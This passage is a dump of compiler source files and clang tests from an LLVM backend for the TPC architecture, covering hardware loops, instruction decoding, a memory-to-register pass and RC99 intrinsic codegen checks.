TPCHardwareLoops::getCmpMode(unsigned Opcode) const {\n switch (Opcode) {\n case TPC::CMP_EQssp:\n case TPC::CMP_EQsip:\n return TPCII::LoopEQ;\n case TPC::CMP_NEQssp:\n case TPC::CMP_NEQsip:\n return TPCII::LoopNE;\n case TPC::CMP_LESSssp:\n case TPC::CMP_LESSsip:\n return TPCII::LoopLT;\n case TPC::CMP_LEQssp:\n case TPC::CMP_LEQsip:\n return TPCII::LoopLE;\n case TPC::CMP_GRTssp:\n case TPC::CMP_GRTsip:\n return TPCII::LoopGT;\n case TPC::CMP_GEQssp:\n case TPC::CMP_GEQsip:\n return TPCII::LoopGE;\n default:\n return TPCII::LoopErr;\n }\n}\n\nTPCII::CmpMode TPCHardwareLoops::invertCond(TPCII::CmpMode mode) const {\n switch(mode) {\n case TPCII::LoopEQ: return TPCII::LoopNE;\n case TPCII::LoopNE: return TPCII::LoopEQ;\n case TPCII::LoopLT: return TPCII::LoopGE;\n case TPCII::LoopLE: return TPCII::LoopGT;\n case TPCII::LoopGT: return TPCII::LoopLE;\n case TPCII::LoopGE: return TPCII::LoopLT;\n default: llvm_unreachable(\"Incorrect cmp mode\");\n }\n}\n\nTPCII::CmpMode TPCHardwareLoops::swapCond(TPCII::CmpMode mode) const {\n switch(mode) {\n case TPCII::LoopEQ: return TPCII::LoopEQ;\n case TPCII::LoopNE: return TPCII::LoopNE;\n case TPCII::LoopLT: return TPCII::LoopGT;\n case TPCII::LoopLE: return TPCII::LoopGE;\n case TPCII::LoopGT: return TPCII::LoopLT;\n case TPCII::LoopGE: return TPCII::LoopLE;\n default: llvm_unreachable(\"Incorrect cmp mode\");\n }\n}\n\n// TODO: this is too cumbersome. Plus there is a possibility that if-conversion\n// already happened, so we need to take into account predicated instructions.\n// Also intrinsics.\nbool TPCHardwareLoops::appropriateInst(unsigned Opcode) const {\n switch (Opcode) {\n case TPC::ADDssp:\n case TPC::ADDsip:\n return true;\n default:\n return false;\n }\n}\n\nunsigned TPCHardwareLoops::chooseLoopOpcode(LoopVars* lv) const {\n unsigned mask = 0;\n if (lv->StartSel) mask |= 1;\n if (lv->BoundarySel) mask |= 2;\n if (lv->StepSel) mask |= 4;\n if (lv->IsPredicated) mask |= 8;\n\n switch (mask) {\n case 0: return TPC::LOOPsss;\n case 1: return TPC::LOOPiss;\n case 2: return TPC::LOOPsis;\n case 3: return TPC::LOOPiis;\n case 4: return TPC::LOOPssi;\n case 5: return TPC::LOOPisi;\n case 6: return TPC::LOOPsii;\n case 7: return TPC::LOOPiii;\n case 8: return TPC::LOOPsssp;\n case 9: return TPC::LOOPissp;\n case 10: return TPC::LOOPsisp;\n case 11: return TPC::LOOPiisp;\n case 12: return TPC::LOOPssip;\n case 13: return TPC::LOOPisip;\n case 14: return TPC::LOOPsiip;\n case 15: return TPC::LOOPiiip;\n }\n\n llvm_unreachable(\"Sanity check\");\n}\n" }, { "alpha_fraction": 0.4347274899482727, "alphanum_fraction": 0.5386565327644348, "avg_line_length": 38.45000076293945, "blob_id": "9d4dc8361591845806a33007a0f5c583643cdcbd", "content_id": "50debb7403e2afec478231694f87cffb238ea428", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 789, "license_type": "permissive", "max_line_length": 103, "num_lines": 20, "path": "/clang/test/RC99/IntrinsicsM/mac/av_i8_mac_v_s-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0, signed char x1, int dest0)\n{\n char256 __local *ptr_x0 = (char256 __local *)x0;\n int256 __local *res0 = (int256 __local *)dest0;\n int256 temp_res0 = {0,0,0,0};\n temp_res0 = av_i8_mac_v_s(*ptr_x0, x1, temp_res0, 1);\n *res0 = temp_res0;\n}\n\n// CHECK-ASM: .globl main\n// CHECK-ASM: main:\n// CHECK-ASM-DAG: ld_l_v %V{{[0-9]+}}, %S0, 0x0\n// CHECK-ASM-DAG: mov.i32 %V{{[0-9]+}}, 0x0\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S1, %SP0\n// CHECK-ASM-DAG: st_l_v %S2, 0x300, %V{{[0-9]+}}\n// CHECK-ASM-DAG: st_l_v %S2, 0x200, %V{{[0-9]+}}\n// CHECK-ASM-DAG: st_l_v %S2, 0x100, %V{{[0-9]+}}\n// CHECK-ASM-DAG: st_l_v %S2, 0x0, %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.6761133670806885, "alphanum_fraction": 0.692307710647583, "avg_line_length": 48.20000076293945, "blob_id": "26512a1dbf96be72d00029c297749310e6c2b97a", "content_id": "98835a77f52195e1e6d8e40ec8a29f64e1af30fa", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 247, "license_type": "permissive", "max_line_length": 99, "num_lines": 5, "path": "/clang/test/RC99/regression/pragma_printf-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main(int arg_int) {\n#pragma tpc_printf (1) // expected-warning{{expected identifier in '#pragma tpc_printf' - ignored}}\n printf_i(\"value is integer\\n\", arg_int);\n}\n\n" }, { "alpha_fraction": 0.5050504803657532, "alphanum_fraction": 0.5656565427780151, "avg_line_length": 45.20000076293945, "blob_id": "3e34dfd62beb1a817663ebee2595648558109cd7", "content_id": "3404e1e586ea047ef64be1de9a1630cea69071c6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 693, "license_type": "permissive", "max_line_length": 106, "num_lines": 15, "path": "/clang/test/RC99/IntrinsicsM/i_i32_set_indx_s_b-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(tensor in, int value, int value2, _Bool pred) {\n int5 coords = 0; \n coords = i_i32_set_indx_s_b(value, coords, 1, pred, 0);\n int __global *ptr = (int __global *) a_gen_addr_i(coords, in);\n *ptr = value2;\n}\n\n// CHECK-DAG: mov %SP[[PRED:[0-9]+]], %S2\n// CHECK-DAG: set_indx %I[[NDX:[0-9]+]], b11111, 0x0, %SP0\n// CHECK: set_indx %I[[NDX]], b00001, %S0, %SP[[PRED]]\n// CHECK-NEXT: gen_addr %AD[[ADDR:[0-9]+]], 0x0, %I[[NDX]], %SP0\n// CHECK: st_g %AD[[ADDR]], %S1, %SP0\n" }, { "alpha_fraction": 0.6644628047943115, "alphanum_fraction": 0.7190082669258118, "avg_line_length": 25.30434799194336, "blob_id": "a9801fb5d4e54affa27954657981b58026342fe1", "content_id": "f4a475bac0bfbbe91a7dcbfffee1a2439b42830d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 605, "license_type": "permissive", "max_line_length": 131, "num_lines": 23, "path": "/clang/test/RC99/restrictions/short-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nshort Arr0[1];\n\nstruct S0 {\n short f1;\n};\n\nstruct S0 Arr1[1];\n\nunion U0 {\n short f1;\n int f2;\n};\n\nunion U0 Arr2[1];\n\nshort Arr10[2]; //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\nstruct S0 Arr11[2]; //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\nunion U0 Arr12[2]; //expected-error{{arrays or structures containing more than one value shorter than 32 bits are not supported}}\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.4407467544078827, "alphanum_fraction": 0.5259740352630615, "avg_line_length": 33.22222137451172, "blob_id": "edcdd81b7f6fc3b9fbd884c94f5128cb9379ca60", "content_id": "bceefdd81cf851672e89ae333b91f40cc7bc4334", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1232, "license_type": "permissive", "max_line_length": 106, "num_lines": 36, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-v-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int src, int dest, _Bool pred) {\n bfloat128 __local *src_ptr = (bfloat128 __local *)src;\n bfloat128 x0 = *src_ptr++;\n short128 __local *res_ptr = (short128 __local *)dest;\n\n *res_ptr++ = v_bf16_extract_exp_v(x0, 1);\n // CHECK: extract_exp.bf16 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n x0 = *src_ptr++;\n\n *res_ptr++ = v_bf16_extract_exp_v(x0, 0);\n // CHECK: extract_exp.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n x0 = *src_ptr++;\n\n int res = 0;\n\n *res_ptr++ = v_bf16_extract_exp_v_b(x0, res, 1, pred, 0);\n // CHECK: extract_exp.bf16 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = *src_ptr++;\n\n *res_ptr++ = v_bf16_extract_exp_v_b(x0, res, 0, pred, 0);\n // CHECK: extract_exp.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = *src_ptr++;\n \n bool256 vpred = bv_b_mov_b(pred);\n\n *res_ptr++ = v_bf16_extract_exp_v_vb(x0, res, 1, vpred, 0);\n // CHECK: extract_exp.bf16 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n x0 = *src_ptr++;\n\n *res_ptr++ = v_bf16_extract_exp_v_vb(x0, res, 0, vpred, 0);\n // CHECK: extract_exp.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n x0 = *src_ptr++;\n}\n" }, { "alpha_fraction": 0.6507936716079712, "alphanum_fraction": 0.6746031641960144, "avg_line_length": 30.5, "blob_id": "0226d460b79091ac595d00884206ac4d286144ad", "content_id": "96cb31edc8f0442f8cc07e51a8f73995475e3a5a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 252, "license_type": "permissive", "max_line_length": 96, "num_lines": 8, "path": "/clang/test/RC99/inline-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -main-function entry -verify %s\nint main(int x) {\n return x + 2;\n}\n\ninline void entry() { // expected-error{{entry function is not allowed to be declared inline}}\n int y = main(12);\n}\n" }, { "alpha_fraction": 0.667597770690918, "alphanum_fraction": 0.6812538504600525, "avg_line_length": 34.406593322753906, "blob_id": "a4b5623faec1859fa1f79f2e74e16857b4500391", "content_id": "d7a9b3bc2f25e2c6ba6c9e56f7f758bd4d857f87", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3222, "license_type": "permissive", "max_line_length": 111, "num_lines": 91, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstrDecomposer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrDecomposer.cpp - Convert TPC instructions layout to LLVM instructions layout -------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n\n#include \"TPC.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCMCInstrInfo.h\"\n#include \"TPCMCTargetDesc.h\"\n#include \"TPCInstrDecomposer.h\"\n\nusing namespace llvm;\nusing DecodeStatus = MCDisassembler::DecodeStatus;\n\n\n#define DEBUG_TYPE \"tpc-repack\"\n\n#define MASK(Len) ((1UL<<Len)-1)\nnamespace llvm {\n\nDecodeStatus\nTPCInstrDecomposer::getLLVMInst(uint64_t &Insn, const std::map<Fields, Field> &Layout, TPCII::IType SlotType) {\n Insn = 0;\n uint64_t bits = 0;\n for (auto FieldLayout : Layout) {\n std::bitset<256> FieldBits = Bundle >> FieldLayout.second.startBin;\n FieldBits &= MASK(FieldLayout.second.size);\n bits = static_cast<uint64_t>(FieldBits.to_ulong());\n Insn |= bits << FieldLayout.second.startLLVM;\n }\n return DecodeStatus::Success;\n}\n\nvoid TPCInstrDecomposer::createLLVMNOP(uint64_t &Insn, const Field &F) {\n Insn |= (63UL & MASK(F.size)) << F.startLLVM;\n}\n\n\nDecodeStatus llvm::TPCInstrDecomposer::getLLVMInstSPU(uint64_t &Insn) {\n const std::map<Fields, Field> Layout = TPCInstrLayout::getSPUInstrLayout(IsCompressed, TPCFeatures);\n if (MayCompress && IsCompressed && (CT == CompressionType::LD_ST)) {\n createLLVMNOP(Insn, Layout.at(Fields::SPU_OPCODE));\n return MCDisassembler::Success;\n }\n return getLLVMInst(Insn, Layout, TPCII::TypeSPU);\n}\n\nDecodeStatus llvm::TPCInstrDecomposer::getLLVMInstVPU(uint64_t &Insn) {\n const std::map<Fields, Field> Layout = TPCInstrLayout::getVPUInstrLayout(IsCompressed, TPCFeatures);\n if (MayCompress && IsCompressed && (CT == CompressionType::LD_ST)) {\n createLLVMNOP(Insn, Layout.at(Fields::VPU_OPCODE));\n return MCDisassembler::Success;\n }\n return getLLVMInst(Insn, Layout, TPCII::TypeVPU);\n}\n\nDecodeStatus llvm::TPCInstrDecomposer::getLLVMInstLoad(uint64_t &Insn) {\n const std::map<Fields, Field> Layout = TPCInstrLayout::getLDInstrLayout(IsCompressed, TPCFeatures);\n if (MayCompress && IsCompressed && (CT == CompressionType::SPU_VPU)) {\n createLLVMNOP(Insn, Layout.at(Fields::LOAD_OPCODE));\n return MCDisassembler::Success;\n }\n return getLLVMInst(Insn, Layout, TPCII::TypeLOAD);\n}\n\nDecodeStatus llvm::TPCInstrDecomposer::getLLVMInstStore(uint64_t &Insn) {\n const std::map<Fields, Field> Layout = TPCInstrLayout::getSTInstrLayout(IsCompressed, TPCFeatures);\n if (MayCompress && IsCompressed && (CT == CompressionType::SPU_VPU)) {\n createLLVMNOP(Insn, Layout.at(Fields::STORE_OPCODE));\n return MCDisassembler::Success;\n }\n return getLLVMInst(Insn, Layout, TPCII::TypeSTORE);\n}\n\n//{IMM, Field(151,32)},\nDecodeStatus TPCInstrDecomposer::getLLVMInstIMM(uint32_t &IMM) {\n uint32_t ImmOffset = 151;\n std::bitset<256> IMMBits = Bundle >> ImmOffset;\n IMMBits &= UINT32_MAX;\n IMM = static_cast<uint32_t>(IMMBits.to_ullong());\n return DecodeStatus::Success;\n}\n\n}\n" }, { "alpha_fraction": 0.6753592491149902, "alphanum_fraction": 0.6780202388763428, "avg_line_length": 32.24778747558594, "blob_id": "c48c97a02870e8366990b2d89ac68963ee5ac927", "content_id": "06e450dad1a6a22a5c8fe52e84c07758c4249220", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3758, "license_type": "permissive", "max_line_length": 80, "num_lines": 113, "path": "/llvm/lib/Target/TPC/MemoryToReg.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- MemoryToReg.cpp --- Move values from memory to temporaries ---------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This is limited version of mem2reg pass. It is necessary for -O0 mode,\n// as values that keep global pointers cannot be stored in memory.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/Transforms/Utils/Mem2Reg.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/IR/BasicBlock.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/PassManager.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/Casting.h\"\n#include \"llvm/Transforms/Utils.h\"\n#include \"llvm/Transforms/Utils/PromoteMemToReg.h\"\n#include <vector>\n\nusing namespace llvm;\n\n#define PassName \"tpcmem2reg\"\n#define PassDescription \"Promote memory to registers (TPC)\"\n#define DEBUG_TYPE PassName\n\nSTATISTIC(NumPromoted, \"Number of alloca's promoted (TPC)\");\n\nstatic bool shouldMoveToReg(AllocaInst *AI) {\n auto *APT = cast<PointerType>(AI->getType());\n Type *AT = APT->getPointerElementType();\n if (auto *PT = dyn_cast<PointerType>(AT))\n if (PT->getAddressSpace() == 3)\n return true;\n return false;\n}\n\nstatic bool promoteMemoryToRegister(Function &F, DominatorTree &DT,\n AssumptionCache &AC) {\n std::vector<AllocaInst *> Allocas;\n BasicBlock &BB = F.getEntryBlock(); // Get the entry node for the function\n bool Changed = false;\n\n while (true) {\n Allocas.clear();\n\n // Find allocas that are safe to promote, by looking at all instructions in\n // the entry node\n for (BasicBlock::iterator I = BB.begin(), E = --BB.end(); I != E; ++I)\n if (AllocaInst *AI = dyn_cast<AllocaInst>(I)) // Is it an alloca?\n if (isAllocaPromotable(AI) && shouldMoveToReg(AI))\n Allocas.push_back(AI);\n\n if (Allocas.empty())\n break;\n\n PromoteMemToReg(Allocas, DT, &AC);\n NumPromoted += Allocas.size();\n Changed = true;\n }\n return Changed;\n}\n\n\nnamespace {\nstruct PromoteMemoryToRegs : public FunctionPass {\n // Pass identification, replacement for typeid\n static char ID;\n\n PromoteMemoryToRegs() : FunctionPass(ID) {\n initializePromoteMemoryToRegsPass(*PassRegistry::getPassRegistry());\n }\n\n // runOnFunction - To run this pass, first we calculate the alloca\n // instructions that are safe for promotion, then we promote each one.\n bool runOnFunction(Function &F) override {\n DominatorTree &DT = getAnalysis<DominatorTreeWrapperPass>().getDomTree();\n AssumptionCache &AC =\n getAnalysis<AssumptionCacheTracker>().getAssumptionCache(F);\n return promoteMemoryToRegister(F, DT, AC);\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<AssumptionCacheTracker>();\n AU.addRequired<DominatorTreeWrapperPass>();\n AU.setPreservesCFG();\n }\n};\n\n}\n\nchar PromoteMemoryToRegs::ID = 0;\n\nINITIALIZE_PASS_BEGIN(PromoteMemoryToRegs, PassName, PassDescription,\n false, false)\nINITIALIZE_PASS_DEPENDENCY(AssumptionCacheTracker)\nINITIALIZE_PASS_DEPENDENCY(DominatorTreeWrapperPass)\nINITIALIZE_PASS_END(PromoteMemoryToRegs, PassName, PassDescription,\n false, false)\n\n // createPromoteMemoryToRegister - Provide an entry point to create this pass.\nFunctionPass *llvm::createPromoteMemoryToRegsPass() {\n return new PromoteMemoryToRegs();\n}\n\n" }, { "alpha_fraction": 0.5170278549194336, "alphanum_fraction": 0.6501547694206238, "avg_line_length": 39.5, "blob_id": "b354e24fa5c65c059837c88b7dada34bca65acf2", "content_id": "35791800121563dcf61d53f551a115b5f4459ff0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 323, "license_type": "permissive", "max_line_length": 78, "num_lines": 8, "path": "/clang/test/RC99/regression/gaudi-164.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o -\n\nvoid main(tensor input, tensor output) {\n float64 v1 = 3.3;\n uint64_float64_pair_t pairv2v3 = { 0, 0 };\n pairv2v3 = v_f32_get_lut_entry_and_interval_start_v_b(v1,pairv2v3, 0,0,1,0);\n pairv2v3.v2 = v_f32_mac_v_v_b(pairv2v3.v2, v1, pairv2v3.v2, 0,1,0);\n}" }, { "alpha_fraction": 0.6453558206558228, "alphanum_fraction": 0.6489746570587158, "avg_line_length": 32.20000076293945, "blob_id": "e6c3da04fc232f2f86ac90de14b30c16a7e18607", "content_id": "c14b0ee11c6dad2bb440edd7a2580dc5ee8f8df7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 829, "license_type": "permissive", "max_line_length": 124, "num_lines": 25, "path": "/clang/test/RC99/restrictions/addrspace-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\n__global__ int a; // expected-error{{variables in global address space are not allowed}}\n__global__ int *ptr_a = &a; // expected-error{{global or static variables of global pointer type are not allowed}}\n\nint b;\nint *ptr_b = &b;\n\n__local__ int c;\n__local__ int *ptr_c = &c;\n\nvoid main() {\n ptr_b = &c;\n ptr_c = &b;\n ptr_b = ptr_c;\n static __global__ int *ptr_a = &a; // expected-error{{global or static variables of global pointer type are not allowed}}\n\n\n ptr_a = &b; // expected-error{{changes address space of pointer}}\n ptr_b = &a; // expected-error{{changes address space of pointer}}\n\n ptr_b = ptr_a; // expected-error{{changes address space of pointer}}\n ptr_a = ptr_b; // expected-error{{changes address space of pointer}}\n\n}" }, { "alpha_fraction": 0.33631208539009094, "alphanum_fraction": 0.4356418550014496, "avg_line_length": 30.28494644165039, "blob_id": "ca85e8ff553b99656dbe5bab8fa382a1c1122c8f", "content_id": "cbff3d4036a208df1c6cae433b8f7472d297c119", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5819, "license_type": "permissive", "max_line_length": 78, "num_lines": 186, "path": "/clang/test/RC99/Intrinsics/v_i8_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, char xs, int dest, _Bool pred, int vpreda) {\n char256 __local *x0ptr = (char256 __local *)x0a;\n char256 __local *x1ptr = (char256 __local *)x1a;\n int256 __local *dptr = (int256 __local *)dest;\n bool256 __local *vpptr = (bool256 __local *)vpreda;\n int256 res = { 0 };\n char256 x0 = *x0ptr;\n char256 x1 = *x1ptr;\n bool256 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_i8_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_i8_mac_b(x0, x1, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_i8_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_i8_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, x1, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_i8_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_i8_mac_b(x0, xs, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_i8_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_i8_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, xs, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_i8_mac_b(x0, 123, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_i8_mac_b(x0, 123, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_i8_mac_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_i8_mac_b(x0, 123, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, 123, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_i8_mac_vb(x0, 123, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n\n // Vector + Vector\n\n res = av_i8_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_i8_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = av_i8_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = av_i8_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = av_i8_mac_v_v_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = av_i8_mac_v_v_vb(x0, x1, res, 1, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = av_i8_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_i8_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = av_i8_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = av_i8_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = av_i8_mac_v_s_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = 